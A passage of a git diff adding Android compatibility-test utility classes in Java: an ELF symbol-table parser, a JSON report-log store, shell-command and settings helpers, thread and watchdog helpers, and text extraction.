+            throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
+        }
+
+        long e_entry = readAddr();
+
+        long ph_off = readOff();
+        long sh_off = readOff();
+
+        long e_flags = readWord();
+        int e_ehsize = readHalf();
+        int e_phentsize = readHalf();
+        int e_phnum = readHalf();
+        int e_shentsize = readHalf();
+        int e_shnum = readHalf();
+        int e_shstrndx = readHalf();
+
+        readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
+        readProgramHeaders(ph_off, e_phnum, e_phentsize);
+    }
+
+    private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
+            throws IOException {
+        // Read the Section Header String Table offset first.
+        {
+            mFile.seek(sh_off + e_shstrndx * e_shentsize);
+
+            long sh_name = readWord();
+            long sh_type = readWord();
+            long sh_flags = readX(mAddrSize);
+            long sh_addr = readAddr();
+            long sh_offset = readOff();
+            long sh_size = readX(mAddrSize);
+            // ...
+
+            if (sh_type == SHT_STRTAB) {
+                mShStrTabOffset = sh_offset;
+                mShStrTabSize = sh_size;
+            }
+        }
+
+        for (int i = 0; i < e_shnum; ++i) {
+            // Don't bother to re-read the Section Header StrTab.
+            if (i == e_shstrndx) {
+                continue;
+            }
+
+            mFile.seek(sh_off + i * e_shentsize);
+
+            long sh_name = readWord();
+            long sh_type = readWord();
+            long sh_flags = readX(mAddrSize);
+            long sh_addr = readAddr();
+            long sh_offset = readOff();
+            long sh_size = readX(mAddrSize);
+
+            if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
+                final String symTabName = readShStrTabEntry(sh_name);
+                if (".symtab".equals(symTabName)) {
+                    mSymTabOffset = sh_offset;
+                    mSymTabSize = sh_size;
+                } else if (".dynsym".equals(symTabName)) {
+                    mDynSymOffset = sh_offset;
+                    mDynSymSize = sh_size;
+                }
+            } else if (sh_type == SHT_STRTAB) {
+                final String strTabName = readShStrTabEntry(sh_name);
+                if (".strtab".equals(strTabName)) {
+                    mStrTabOffset = sh_offset;
+                    mStrTabSize = sh_size;
+                } else if (".dynstr".equals(strTabName)) {
+                    mDynStrOffset = sh_offset;
+                    mDynStrSize = sh_size;
+                }
+            } else if (sh_type == SHT_DYNAMIC) {
+                mIsDynamic = true;
+            }
+        }
+    }
+
+    private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
+        for (int i = 0; i < e_phnum; ++i) {
+            mFile.seek(ph_off + i * e_phentsize);
+
+            long p_type = readWord();
+            if (p_type == PT_LOAD) {
+                if (mAddrSize == 8) {
+                    // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
+                    long p_flags = readWord();
+                }
+                long p_offset = readOff();
+                long p_vaddr = readAddr();
+                // ...
+
+                if (p_vaddr == 0) {
+                    mIsPIE = true;
+                }
+            }
+        }
+    }
+
+    private HashMap<String, Symbol> readSymbolTable(long symStrOffset, long symStrSize,
+            long tableOffset, long tableSize) throws IOException {
+        HashMap<String, Symbol> result = new HashMap<String, Symbol>();
+        mFile.seek(tableOffset);
+        while (mFile.getFilePointer() < tableOffset + tableSize) {
+            long st_name = readWord();
+            int st_info;
+            if (mAddrSize == 8) {
+                st_info = readByte();
+                int st_other = readByte();
+                int st_shndx = readHalf();
+                long st_value = readAddr();
+                long st_size = readX(mAddrSize);
+            } else {
+                long st_value = readAddr();
+                long st_size = readWord();
+                st_info = readByte();
+                int st_other = readByte();
+                int st_shndx = readHalf();
+            }
+            if (st_name == 0) {
+                continue;
+            }
+
+            final String symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
+            if (symName != null) {
+                Symbol s = new Symbol(symName, st_info);
+                result.put(symName, s);
+            }
+        }
+        return result;
+    }
+
+    private String readShStrTabEntry(long strOffset) throws IOException {
+        if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
+            return null;
+        }
+        return readString(mShStrTabOffset + strOffset);
+    }
+
+    private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
+            throws IOException {
+        if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
+            return null;
+        }
+        return readString(tableOffset + strOffset);
+    }
+
+    private int readHalf() throws IOException {
+        return (int) readX(2);
+    }
+
+    private long readWord() throws IOException {
+        return readX(4);
+    }
+
+    private long readOff() throws IOException {
+        return readX(mAddrSize);
+    }
+
+    private long readAddr() throws IOException {
+        return readX(mAddrSize);
+    }
+
+    private long readX(int byteCount) throws IOException {
+        mFile.readFully(mBuffer, 0, byteCount);
+
+        int answer = 0;
+        if (mEndian == ELFDATA2LSB) {
+            for (int i = byteCount - 1; i >= 0; i--) {
+                answer = (answer << 8) | (mBuffer[i] & 0xff);
+            }
+        } else {
+            final int N = byteCount - 1;
+            for (int i = 0; i <= N; ++i) {
+                answer = (answer << 8) | (mBuffer[i] & 0xff);
+            }
+        }
+
+        return answer;
+    }
+
+    private String readString(long offset) throws IOException {
+        long originalOffset = mFile.getFilePointer();
+        mFile.seek(offset);
+        mFile.readFully(mBuffer, 0, (int) Math.min(mBuffer.length, mFile.length() - offset));
+        mFile.seek(originalOffset);
+
+        for (int i = 0; i < mBuffer.length; ++i) {
+            if (mBuffer[i] == 0) {
+                return new String(mBuffer, 0, i);
+            }
+        }
+
+        return null;
+    }
+
+    private int readByte() throws IOException {
+        return mFile.read() & 0xff;
+    }
+
+    public Symbol getSymbol(String name) {
+        if (mSymbols == null) {
+            try {
+                mSymbols = readSymbolTable(mStrTabOffset, mStrTabSize, mSymTabOffset, mSymTabSize);
+            } catch (IOException e) {
+                return null;
+            }
+        }
+        return mSymbols.get(name);
+    }
+
+    public Symbol getDynamicSymbol(String name) {
+        if (mDynamicSymbols == null) {
+            try {
+                mDynamicSymbols = readSymbolTable(
+                        mDynStrOffset, mDynStrSize, mDynSymOffset, mDynSymSize);
+            } catch (IOException e) {
+                return null;
+            }
+        }
+        return mDynamicSymbols.get(name);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
new file mode 100644
index 0000000..538881d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ReportLogDeviceInfoStore.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.util.JsonWriter;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+
+public class ReportLogDeviceInfoStore extends DeviceInfoStore {
+
+    private final String mStreamName;
+    private File tempJsonFile;
+
+    public ReportLogDeviceInfoStore(File jsonFile, String streamName) throws Exception {
+        mJsonFile = jsonFile;
+        mStreamName = streamName;
+    }
+
+    /**
+     * Creates the writer and starts the JSON Object for the metric stream.
+     */
+    @Override
+    public void open() throws IOException {
+        // Write new metrics to a temp file to avoid invalid JSON files due to failed tests.
+        BufferedWriter formatWriter;
+        tempJsonFile = File.createTempFile(mStreamName, "-temp-report-log");
+        formatWriter = new BufferedWriter(new FileWriter(tempJsonFile));
+        if (mJsonFile.exists()) {
+            BufferedReader jsonReader = new BufferedReader(new FileReader(mJsonFile));
+            String currentLine;
+            String nextLine = jsonReader.readLine();
+            while ((currentLine = nextLine) != null) {
+                nextLine = jsonReader.readLine();
+                if (nextLine == null && currentLine.charAt(currentLine.length() - 1) == '}') {
+                    // Reopen overall JSON object to write new metrics.
+                    currentLine = currentLine.substring(0, currentLine.length() - 1) + ",";
+                }
+                // Copy to temp file directly to avoid large metrics string in memory.
+                formatWriter.write(currentLine, 0, currentLine.length());
+            }
+            jsonReader.close();
+        } else {
+            formatWriter.write("{", 0 , 1);
+        }
+        // Start new JSON object for new metrics.
+        formatWriter.write("\"" + mStreamName + "\":", 0, mStreamName.length() + 3);
+        formatWriter.flush();
+        formatWriter.close();
+        mJsonWriter = new JsonWriter(new FileWriter(tempJsonFile, true));
+        mJsonWriter.beginObject();
+    }
+
+    /**
+     * Closes the writer.
+     */
+    @Override
+    public void close() throws IOException {
+        // Close JSON Writer.
+        mJsonWriter.endObject();
+        mJsonWriter.close();
+        // Close overall JSON Object.
+        try (BufferedWriter formatWriter = new BufferedWriter(new FileWriter(tempJsonFile, true))) {
+            formatWriter.write("}", 0, 1);
+        }
+        // Copy metrics from temp file and delete temp file.
+        mJsonFile.createNewFile();
+        try (
+                BufferedReader jsonReader = new BufferedReader(new FileReader(tempJsonFile));
+                BufferedWriter metricsWriter = new BufferedWriter(new FileWriter(mJsonFile))
+        ) {
+            String line;
+            while ((line = jsonReader.readLine()) != null) {
+                // Copy from temp file directly to avoid large metrics string in memory.
+                metricsWriter.write(line, 0, line.length());
+            }
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
new file mode 100644
index 0000000..deb7056
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not have a given feature.
+ */
+public class RequiredFeatureRule implements TestRule {
+    private static final String TAG = "RequiredFeatureRule";
+
+    private final String mFeature;
+    private final boolean mHasFeature;
+
+    public RequiredFeatureRule(String feature) {
+        mFeature = feature;
+        mHasFeature = hasFeature(feature);
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                if (!mHasFeature) {
+                    Log.d(TAG, "skipping "
+                            + description.getClassName() + "#" + description.getMethodName()
+                            + " because device does not have feature '" + mFeature + "'");
+                    return;
+                }
+                base.evaluate();
+            }
+        };
+    }
+
+    public static boolean hasFeature(String feature) {
+        return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/Result.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/Result.java
new file mode 100644
index 0000000..0d8a29a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/Result.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package com.android.compatibility.common.util;
+
+/**
+ * Represents the result of a test.
+ */
+public interface Result {
+    public static final int RESULT_OK = 1;
+    public static final int RESULT_FAIL = 2;
+    /**
+     * Sets the test result of this object.
+     *
+     * @param resultCode The test result, either {@code RESULT_OK} or {@code RESULT_FAIL}.
+     */
+    void setResult(int resultCode);
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
new file mode 100644
index 0000000..c34cb60
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SettingsUtils.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+public class SettingsUtils {
+    private SettingsUtils() {
+    }
+
+    /**
+     * Put a global setting.
+     */
+    public static void putGlobalSetting(String key, String value) {
+        // Hmm, technically we should escape a value, but if I do like '1', it won't work. ??
+        SystemUtil.runShellCommandForNoOutput("settings put global " + key + " " + value);
+    }
+
+    /**
+     * Put a global setting for the current (foreground) user.
+     */
+    public static void putSecureSetting(String key, String value) {
+        SystemUtil.runShellCommandForNoOutput(
+                "settings --user current put secure " + key + " " + value);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
new file mode 100644
index 0000000..a7c2321
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.MemoryInfo;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.os.ParcelFileDescriptor;
+import android.os.StatFs;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.function.Predicate;
+
+public class SystemUtil {
+    private static final String TAG = "CtsSystemUtil";
+
+    public static long getFreeDiskSize(Context context) {
+        final StatFs statFs = new StatFs(context.getFilesDir().getAbsolutePath());
+        return (long)statFs.getAvailableBlocks() * statFs.getBlockSize();
+    }
+
+    public static long getFreeMemory(Context context) {
+        final MemoryInfo info = new MemoryInfo();
+        ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
+        return info.availMem;
+    }
+
+    public static long getTotalMemory(Context context) {
+        final MemoryInfo info = new MemoryInfo();
+        ((ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryInfo(info);
+        return info.totalMem;
+    }
+
+    /**
+     * Executes a shell command using shell user identity, and return the standard output in string
+     * <p>Note: calling this function requires API level 21 or above
+     * @param instrumentation {@link Instrumentation} instance, obtained from a test running in
+     * instrumentation framework
+     * @param cmd the command to run
+     * @return the standard output of the command
+     * @throws Exception
+     */
+    public static String runShellCommand(Instrumentation instrumentation, String cmd)
+            throws IOException {
+        Log.v(TAG, "Running command: " + cmd);
+        if (cmd.startsWith("pm grant ") || cmd.startsWith("pm revoke ")) {
+            throw new UnsupportedOperationException("Use UiAutomation.grantRuntimePermission() "
+                    + "or revokeRuntimePermission() directly, which are more robust.");
+        }
+        ParcelFileDescriptor pfd = instrumentation.getUiAutomation().executeShellCommand(cmd);
+        byte[] buf = new byte[512];
+        int bytesRead;
+        FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+        StringBuffer stdout = new StringBuffer();
+        while ((bytesRead = fis.read(buf)) != -1) {
+            stdout.append(new String(buf, 0, bytesRead));
+        }
+        fis.close();
+        return stdout.toString();
+    }
+
+    /**
+     * Simpler version of {@link #runShellCommand(Instrumentation, String)}.
+     */
+    public static String runShellCommand(String cmd) {
+        try {
+            return runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
+        } catch (IOException e) {
+            fail("Failed reading command output: " + e);
+            return "";
+        }
+    }
+
+    /**
+     * Same as {@link #runShellCommand(String)}, with optionally
+     * check the result using {@code resultChecker}.
+     */
+    public static String runShellCommand(String cmd, Predicate<String> resultChecker) {
+        final String result = runShellCommand(cmd);
+        if (resultChecker != null) {
+            assertTrue("Assertion failed. Command was: " + cmd + "\n"
+                    + "Output was:\n" + result,
+                    resultChecker.test(result));
+        }
+        return result;
+    }
+
+    /**
+     * Same as {@link #runShellCommand(String)}, but fails if the output is not empty.
+     */
+    public static String runShellCommandForNoOutput(String cmd) {
+        final String result = runShellCommand(cmd);
+        assertTrue("Command failed. Command was: " + cmd + "\n"
+                + "Didn't expect any output, but the output was:\n" + result,
+                result.length() == 0);
+        return result;
+    }
+
+    /**
+     * Run a command and print the result on logcat.
+     */
+    public static void runCommandAndPrintOnLogcat(String logtag, String cmd) {
+        Log.i(logtag, "Executing: " + cmd);
+        final String output = runShellCommand(cmd);
+        for (String line : output.split("\\n", -1)) {
+            Log.i(logtag, line);
+        }
+    }
+
+    /**
+     * Run a command and return the section matching the patterns.
+     *
+     * @see TextUtils#extractSection
+     */
+    public static String runCommandAndExtractSection(String cmd,
+            String extractionStartRegex, boolean startInclusive,
+            String extractionEndRegex, boolean endInclusive) {
+        return TextUtils.extractSection(runShellCommand(cmd), extractionStartRegex, startInclusive,
+                extractionEndRegex, endInclusive);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/TestThread.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestThread.java
new file mode 100644
index 0000000..894b9c8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestThread.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+/**
+ * Thread class for executing a Runnable containing assertions in a separate thread.
+ * Uncaught exceptions in the Runnable are rethrown in the context of the the thread
+ * calling the <code>runTest()</code> method.
+ */
+public final class TestThread extends Thread {
+    private Throwable mThrowable;
+    private Runnable mTarget;
+
+    public TestThread(Runnable target) {
+        mTarget = target;
+    }
+
+    @Override
+    public final void run() {
+        try {
+            mTarget.run();
+        } catch (Throwable t) {
+            mThrowable = t;
+        }
+    }
+
+    /**
+     * Run the target Runnable object and wait until the test finish or throw
+     * out Exception if test fail.
+     *
+     * @param runTime
+     * @throws Throwable
+     */
+    public void runTest(long runTime) throws Throwable {
+        start();
+        joinAndCheck(runTime);
+    }
+
+    /**
+     * Get the Throwable object which is thrown when test running
+     * @return  The Throwable object
+     */
+    public Throwable getThrowable() {
+        return mThrowable;
+    }
+
+    /**
+     * Set the Throwable object which is thrown when test running
+     * @param t The Throwable object
+     */
+    public void setThrowable(Throwable t) {
+        mThrowable = t;
+    }
+
+    /**
+     * Wait for the test thread to complete and throw the stored exception if there is one.
+     *
+     * @param runTime The time to wait for the test thread to complete.
+     * @throws Throwable
+     */
+    public void joinAndCheck(long runTime) throws Throwable {
+        this.join(runTime);
+        if (this.isAlive()) {
+            this.interrupt();
+            this.join(runTime);
+            throw new Exception("Thread did not finish within allotted time.");
+        }
+        checkException();
+    }
+
+    /**
+     * Check whether there is an exception when running Runnable object.
+     * @throws Throwable
+     */
+    public void checkException() throws Throwable {
+        if (mThrowable != null) {
+            throw mThrowable;
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/TestUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestUtils.java
new file mode 100644
index 0000000..1702875
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestUtils.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.fail;
+
+import android.os.SystemClock;
+import android.util.Log;
+
+public class TestUtils {
+    private static final String TAG = "CtsTestUtils";
+
+    private TestUtils() {
+    }
+
+    public static final int DEFAULT_TIMEOUT_SECONDS = 30;
+
+    /** Print an error log and fail. */
+    public static void failWithLog(String message) {
+        Log.e(TAG, message);
+        fail(message);
+    }
+
+    @FunctionalInterface
+    public interface BooleanSupplierWithThrow {
+        boolean getAsBoolean() throws Exception;
+    }
+
+    @FunctionalInterface
+    public interface RunnableWithThrow {
+        void run() throws Exception;
+    }
+
+    /**
+     * Wait until {@code predicate} is satisfied, or fail, with {@link #DEFAULT_TIMEOUT_SECONDS}.
+     */
+    public static void waitUntil(String message, BooleanSupplierWithThrow predicate)
+            throws Exception {
+        waitUntil(message, 0, predicate);
+    }
+
+    /**
+     * Wait until {@code predicate} is satisfied, or fail, with a given timeout.
+     */
+    public static void waitUntil(
+            String message, int timeoutSecond, BooleanSupplierWithThrow predicate)
+            throws Exception {
+        if (timeoutSecond <= 0) {
+            timeoutSecond = DEFAULT_TIMEOUT_SECONDS;
+        }
+        int sleep = 125;
+        final long timeout = SystemClock.uptimeMillis() + timeoutSecond * 1000;
+        while (SystemClock.uptimeMillis() < timeout) {
+            if (predicate.getAsBoolean()) {
+                return; // okay
+            }
+            Thread.sleep(sleep);
+            sleep *= 5;
+            sleep = Math.min(2000, sleep);
+        }
+        failWithLog("Timeout: " + message);
+    }
+
+    /**
+     * Run a Runnable {@code r}, and if it throws, also run {@code onFailure}.
+     */
+    public static void runWithFailureHook(RunnableWithThrow r, RunnableWithThrow onFailure)
+            throws Exception {
+        if (r == null) {
+            throw new NullPointerException("r");
+        }
+        if (onFailure == null) {
+            throw new NullPointerException("onFailure");
+        }
+        try {
+            r.run();
+        } catch (Throwable th) {
+            Log.e(TAG, "Caught exception: " + th, th);
+            onFailure.run();
+            throw th;
+        }
+    }
+}
+
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/TextUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/TextUtils.java
new file mode 100644
index 0000000..639dc9c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/TextUtils.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.util.regex.Pattern;
+
+public class TextUtils {
+    private TextUtils() {
+    }
+
+    /**
+     * Return the first section in {@code source} between the line matches
+     * {@code extractionStartRegex} and the line matches {@code extractionEndRegex}.
+     */
+    public static String extractSection(String source,
+            String extractionStartRegex, boolean startInclusive,
+            String extractionEndRegex, boolean endInclusive) {
+
+        final Pattern start = Pattern.compile(extractionStartRegex);
+        final Pattern end = Pattern.compile(extractionEndRegex);
+
+        final StringBuilder sb = new StringBuilder();
+        final String[] lines = source.split("\\n", -1);
+
+        int i = 0;
+        for (; i < lines.length; i++) {
+            final String line = lines[i];
+            if (start.matcher(line).matches()) {
+                if (startInclusive) {
+                    sb.append(line);
+                    sb.append('\n');
+                }
+                i++;
+                break;
+            }
+        }
+
+        for (; i < lines.length; i++) {
+            final String line = lines[i];
+            if (end.matcher(line).matches()) {
+                if (endInclusive) {
+                    sb.append(line);
+                    sb.append('\n');
+                }
+                break;
+            }
+            sb.append(line);
+            sb.append('\n');
+        }
+        return sb.toString();
+    }
+}
diff --git a/hostsidetests/api/src/com/android/cts/api/PulledFile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThreadUtils.java
similarity index 67%
rename from hostsidetests/api/src/com/android/cts/api/PulledFile.java
rename to common/device-side/util-axt/src/com/android/compatibility/common/util/ThreadUtils.java
index 4742d52..3948628 100644
--- a/hostsidetests/api/src/com/android/cts/api/PulledFile.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThreadUtils.java
@@ -13,17 +13,15 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.compatibility.common.util;
 
-package com.android.cts.api;
+import android.os.SystemClock;
 
-import java.io.File;
+public final class ThreadUtils {
+    private ThreadUtils() {
+    }
 
-class PulledFile {
-    final File fileInHost;
-    final String pathInDevice;
-
-    PulledFile(File fileInHost, String pathInDevice) {
-        this.fileInHost = fileInHost;
-        this.pathInDevice = pathInDevice;
+    public static void sleepUntilRealtime(long realtime) throws Exception {
+        Thread.sleep(Math.max(0, realtime - SystemClock.elapsedRealtime()));
     }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WatchDog.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WatchDog.java
new file mode 100644
index 0000000..efcc693
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WatchDog.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import android.util.Log;
+
+import junit.framework.Assert;
+
+/**
+ * class for checking if rendering function is alive or not.
+ * panic if watch-dog is not reset over certain amount of time
+ */
+public class WatchDog implements Runnable {
+    private static final String TAG = "WatchDog";
+    private Thread mThread;
+    private Semaphore mSemaphore;
+    private volatile boolean mStopRequested;
+    private final long mTimeoutInMilliSecs;
+    private TimeoutCallback mCallback = null;
+
+    public WatchDog(long timeoutInMilliSecs) {
+        mTimeoutInMilliSecs = timeoutInMilliSecs;
+    }
+
+    public WatchDog(long timeoutInMilliSecs, TimeoutCallback callback) {
+        this(timeoutInMilliSecs);
+        mCallback = callback;
+    }
+
+    /** start watch-dog */
+    public void start() {
+        Log.i(TAG, "start");
+        mStopRequested = false;
+        mSemaphore = new Semaphore(0);
+        mThread = new Thread(this);
+        mThread.start();
+    }
+
+    /** stop watch-dog */
+    public void stop() {
+        Log.i(TAG, "stop");
+        if (mThread == null) {
+            return; // already finished
+        }
+        mStopRequested = true;
+        mSemaphore.release();
+        try {
+            mThread.join();
+        } catch (InterruptedException e) {
+            // ignore
+        }
+        mThread = null;
+        mSemaphore = null;
+    }
+
+    /** resets watch-dog, thus prevent it from panic */
+    public void reset() {
+        if (!mStopRequested) { // stop requested, but rendering still on-going
+            mSemaphore.release();
+        }
+    }
+
+    @Override
+    public void run() {
+        while (!mStopRequested) {
+            try {
+                boolean success = mSemaphore.tryAcquire(mTimeoutInMilliSecs, TimeUnit.MILLISECONDS);
+                if (mCallback == null) {
+                    Assert.assertTrue("Watchdog timed-out", success);
+                } else if (!success) {
+                    mCallback.onTimeout();
+                }
+            } catch (InterruptedException e) {
+                // this thread will not be interrupted,
+                // but if it happens, just check the exit condition.
+            }
+        }
+    }
+
+    /**
+     * Called by the Watchdog when it has timed out.
+     */
+    public interface TimeoutCallback {
+
+        public void onTimeout();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
new file mode 100644
index 0000000..8f3ab8f
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
@@ -0,0 +1,310 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
